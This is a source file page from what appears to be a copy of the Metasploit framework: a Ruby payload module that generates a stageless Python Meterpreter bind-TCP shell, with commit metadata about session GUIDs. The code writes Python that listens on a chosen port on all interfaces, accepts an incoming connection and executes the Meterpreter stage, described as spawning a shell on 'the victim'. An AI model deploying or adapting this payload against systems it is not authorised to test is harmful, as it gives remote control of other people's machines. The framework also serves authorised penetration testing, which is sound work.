Files
metasploit-gs/modules/payloads/singles/python/meterpreter_bind_tcp.rb
T
OJ 37b9cd07a2 Add support for the session GUID in the UI
The Session GUID will identify active sessions, and is the beginning of
work that will allow for tracking of sessions that have come back alive
after failing or switching transports.
2017-06-06 17:15:57 +10:00

47 lines
1.4 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/python'
require 'msf/core/payload/python/meterpreter_loader'
require 'msf/core/payload/python/bind_tcp'
require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 53654
include Msf::Payload::Single
include Msf::Payload::Python
include Msf::Payload::Python::BindTcp
include Msf::Payload::Python::MeterpreterLoader
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Meterpreter Shell, Bind TCP Inline',
'Description' => 'Connect to the victim and spawn a Meterpreter shell',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::Meterpreter_Python_Python
))
end
def generate_bind_tcp(opts={})
socket_setup = "bind_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
socket_setup << "bind_sock.bind(('0.0.0.0', #{opts[:port]}))\n"
socket_setup << "bind_sock.listen(1)\n"
socket_setup << "s, address = bind_sock.accept()\n"
opts[:stageless_tcp_socket_setup] = socket_setup
opts[:stageless] = true
met = stage_meterpreter(opts)
py_create_exec_stub(met)
end
end